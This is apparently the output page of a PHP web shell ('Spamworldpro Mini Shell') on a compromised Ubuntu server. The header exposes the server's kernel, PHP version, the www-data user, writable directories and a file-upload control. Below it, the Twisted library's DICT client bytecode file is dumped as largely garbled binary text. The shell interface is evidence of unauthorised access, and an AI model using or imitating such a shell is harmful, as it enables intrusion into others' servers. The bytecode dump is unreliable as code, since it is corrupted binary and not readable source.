Spamworldpro Mini Shell
Spamworldpro


Server : Apache/2.4.52 (Ubuntu)
System : Linux webserver 6.8.0-49-generic #49~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Wed Nov 6 17:42:15 UTC 2 x86_64
User : www-data ( 33)
PHP Version : 8.1.2-1ubuntu2.21
Disable Function : NONE
Directory :  /lib/python3/dist-packages/twisted/protocols/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/twisted/protocols/__pycache__/dict.cpython-310.pyc
o

�b�*�@s�dZddlmZddlmZmZddlmZddlm	Z	dd�Z
dd	�Zd
d�Zdd
�Z
Gdd�d�ZGdd�dej�ZGdd�de�ZGdd�de�ZGdd�dej�Zdd�Zdd�ZdS)zE
Dict client protocol implementation.

@author: Pavel Pergamenshchik
�)�BytesIO)�defer�protocol)�basic)�logcCs�|dkrdS|dd�dkrd}nd}d}t|�}|dkr"|�d�	|�d�}|dkr<|dkr;|�d�||��fSn2|dkrN|�d�}|dkrMd|fSn |dkr`|dkr\||��fSd|fS|d	krn|dkrn||��fS||7}q#)
zQChew one dqstring or atom from beginning of line and return (param, remaningline)�)Nrr��"��\N� )r�read)�line�mode�res�io�a�r�8/usr/lib/python3/dist-packages/twisted/protocols/dict.py�
parseParams<


�
��rcCstdd�|�S)zMunch a string into an 'atom'cSs|tttd�gd��vS)N�!��"�'�\)�map�chr�range)�xrrr�<lambda>6szmakeAtom.<locals>.<lambda>)�filter�rrrr�makeAtom3sr"cCsLtd�gd�}g}|D]}t|�|vr|�d�|�|�qd�|�}|S)Nrrrr)r�ord�append�join)�s�	mustquote�result�crrr�makeWord9s

r*cCsDt|�dkr|dkrdSt|�dkr |dd�dkr |dd�}|S)Nr�.rr
s..)�lenr!rrr�	parseTextDs
r-c@seZdZdZdd�ZdS)�
DefinitionzA word definitioncCs||_||_||_||_dS�N)�name�db�dbdesc�text)�selfr0r1r2r3rrr�__init__P�
zDefinition.__init__N)�__name__�
__module__�__qualname__�__doc__r5rrrrr.Msr.c@seZdZdZdZdZdZdZdZdZ	dd�Z
dd�Zdd	�Zd
d�Z
dd
�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd�Zd d!�Zd"d#�Zd$d%�Zd&d'�Zd(d)�Zd*d+�Zd,d-�Zd.d/�Zd0d1�Z d2d3�Z!d4d5�Z"d6d7�Z#d8d9�Z$d:d;�Z%d<d=�Z&d>d?�Z'dS)@�
DictClientzdict (RFC2229) clientNicCsd|_d|_dSr/)�datar(�r4rrrr5a�
zDictClient.__init__cCsd|_d|_dS)N�conn�command)�staterr=rrr�connectionMadeer>zDictClient.connectionMadecCs,t|�|jdkr
td��tj�||�dS)z3Throw up if the line is longer than 1022 charactersr
z(DictClient tried to send a too long lineN)r,�
MAX_LENGTH�
ValueErrorr�LineReceiver�sendLine�r4rrrrrFiszDictClient.sendLinecCs�z|�d�}Wn
tyYdSw|jdkrd}n't|�dkr3t�d|�|�d�|j��dSt	|dd��}|dd�}t
|d|�d|j��|j�}||�dS)	Nzutf-8r3�z-DictClient got invalid line from server -- %szInvalid line from server��	dictCode_�_)
�decode�UnicodeErrorrr,r�msg�
protocolError�	transport�LoseConnection�int�getattrrA�dictCode_default)r4r�code�methodrrr�lineReceivedos �


zDictClient.lineReceivedcCs&t�d|�|�d�|j��dS)zUnknown messagez3DictClient got unexpected message from server -- %szUnexpected server messageN)rrNrOrP�loseConnectionrGrrrrT�s
zDictClient.dictCode_defaultcC�dS)z*We are about to get kicked off, do nothingNrrGrrr�dictCode_221_ready��zDictClient.dictCode_221_readycCsd|_|��dS)zGreeting message�readyN)rA�
dictConnectedrGrrr�dictCode_220_conn�szDictClient.dictCode_220_conncC�|�d�|j��dS)Nz
Access denied�rOrPrXr=rrr�dictCode_530_conn��
zDictClient.dictCode_530_conncCr_)NzServer temporarily unavailabler`r=rrr�dictCode_420_conn�rbzDictClient.dictCode_420_conncCr_)Nz(Server shutting down at operator requestr`r=rrr�dictCode_421_conn�rbzDictClient.dictCode_421_conncCsR|jdks	Jd��d|_d|_d|_d�t|�d��t|�d���}|�|�dS)zSend a dict DEFINE commandr\z4DictClient.sendDefine called when not in ready stateN�definezDEFINE {} {}�UTF-8)rAr(r<�formatr"�encoder*rF)r4�database�wordr@rrr�
sendDefine�s���zDictClient.sendDefinecCsR|jdks	Jd��d|_d|_d|_d�t|�t|�t|��}|�|�d��dS)zSend a dict MATCH commandr\z3DictClient.sendMatch called when not in ready stateN�matchzMATCH {} {} {}rf)rAr(r<rgr"rFrh)r4ri�strategyrjr@rrr�	sendMatch�s��zDictClient.sendMatchcC�d|_|�d�dS�zInvalid databaser\N�r�defineFailedrGrrr�dictCode_550_define��zDictClient.dictCode_550_definecCrorp�r�matchFailedrGrrr�dictCode_550_match�rtzDictClient.dictCode_550_matchcCro)zInvalid strategyr\NrurGrrr�dictCode_551_match�rtzDictClient.dictCode_551_matchcCro�zNo matchr\NrqrGrrr�dictCode_552_define�rtzDictClient.dictCode_552_definecCroryrurGrrr�dictCode_552_match�rtzDictClient.dictCode_552_matchcCs
g|_dS)zn definitions retrievedN)r(rGrrr�dictCode_150_define�s
zDictClient.dictCode_150_definecCsnd|_t|�\}}t|�\}}t|�\}}|r|r|s'|�d�|j��dS|j�t|||g��g|_dS)zDefinition text followsr3zInvalid server responseN)	rrrOrPrXr(r$r.r<)r4rrjr1r2rrr�dictCode_151_define�s

zDictClient.dictCode_151_definecCsd|_g|_g|_dS)zn matches found, text followsr3N)rr(r<rGrrr�dictCode_152_match�s
zDictClient.dictCode_152_matchcCs>t|�}|dkrd|_|j|jd_d|_dS|j�|�dS)z"A line of definition text receivedNr@���)r-rr<r(r3r$)r4rrrrr�dictCode_text_define�s
zDictClient.dictCode_text_definecCsFdd�}t|�}|dkrd|_t||j�|_d|_dS|j�|�dS)zOne line of match text receivedcSs t|�\}}t|�\}}||fSr/)r)r&�p1�t�p2rrr�l�sz)DictClient.dictCode_text_match.<locals>.lNr@)r-rrr<r(r$)r4rr�rrrr�dictCode_text_match�s
zDictClient.dictCode_text_matchcC� |j}d|_d|_|�|�dS��okNr\)r(rA�
defineDone�r4rr�rrr�dictCode_250_define�zDictClient.dictCode_250_definecCr�r�)r(rA�	matchDoner�rrr�dictCode_250_matchr�zDictClient.dictCode_250_matchcCrY)z5override to catch unexpected dict protocol conditionsNr�r4�reasonrrrrOr[zDictClient.protocolErrorcCrY)zCoverride to be notified when the server is ready to accept commandsNrr=rrrr]r[zDictClient.dictConnectedcCrY)z8override to catch reasonable failure responses to DEFINENrr�rrrrrr[zDictClient.defineFailedcCrY)z#override to catch successful DEFINENr�r4r(rrrr�r[zDictClient.defineDonecCrY)z7override to catch reasonable failure responses to MATCHNrr�rrrrv#r[zDictClient.matchFailedcCrY)z"override to catch successful MATCHNrr�rrrr�'r[zDictClient.matchDone)(r7r8r9r:r<rCrArr(�factoryr5rBrFrWrTrZr^rarcrdrkrnrsrwrxrzr{r|r}r~r�r�r�r�rOr]rrr�rvr�rrrrr;WsL

r;c@seZdZdS)�InvalidResponseN)r7r8r9rrrrr�,sr�c@s@eZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Z	dS)�
DictLookupzNUtility class for a single dict transaction. To be used with DictLookupFactorycCs,|jjs|jj�t|��|j��dSdSr/)r��done�d�errbackr��
clientDoner�rrrrO3s�zDictLookup.protocolErrorcCs@|jjdkr|j|jj�dS|jjdkr|j|jj�dSdS)Nrerl)r��	queryTyperk�paramrnr=rrrr]8s
�zDictLookup.dictConnectedcC�&|jj�g�|j��|j��dSr/�r�r��callbackr�rPrXr�rrrrr>�
zDictLookup.defineFailedcC�&|jj�|�|j��|j��dSr/r�r�rrrr�Cr�zDictLookup.defineDonecCr�r/r�r�rrrrvHr�zDictLookup.matchFailedcCr�r/r�r�rrrr�Mr�zDictLookup.matchDoneN)
r7r8r9r:rOr]rrr�rvr�rrrrr�0sr�c@s@eZdZdZeZdZdd�Zdd�Zdd�Z	d	d
�Z
dd�ZdS)
�DictLookupFactoryz-Utility factory for a single dict transactionNcCs||_||_||_d|_dS)Nr)r�r�r�r�)r4r�r�r�rrrr5Yr6zDictLookupFactory.__init__cCsd|_|`dS)zCalled by client when done.rN)r�r�r=rrrr�_szDictLookupFactory.clientDonecCs|j�|�dSr/)r�r��r4�	connector�errorrrr�clientConnectionFaileddsz(DictLookupFactory.clientConnectionFailedcCs|js|j�|�dSdSr/)r�r�r�r�rrr�clientConnectionLostgs�z&DictLookupFactory.clientConnectionLostcCs|��}||_|Sr/)rr�)r4�addr�prrr�
buildProtocolkszDictLookupFactory.buildProtocol)r7r8r9r:r�rr�r5r�r�r�r�rrrrr�Ssr�cCs6t��}td||f|�}ddlm}|�|||�|S)z"Look up a word using a dict serverrer��reactor�r�Deferredr��twisted.internetr��
connectTCP)�host�portrirjr�r�r�rrrreqs
recCs8t��}td|||f|�}ddlm}|�|||�|S)z Match a word using a dict serverrlrr�r�)r�r�rirmrjr�r�r�rrrrl|s
rlN)r:rrr�rr�twisted.protocolsr�twisted.pythonrrr"r*r-r.rEr;�	Exceptionr�r��
ClientFactoryr�rerlrrrr�<module>s"!	
V#

Spamworldpro Mini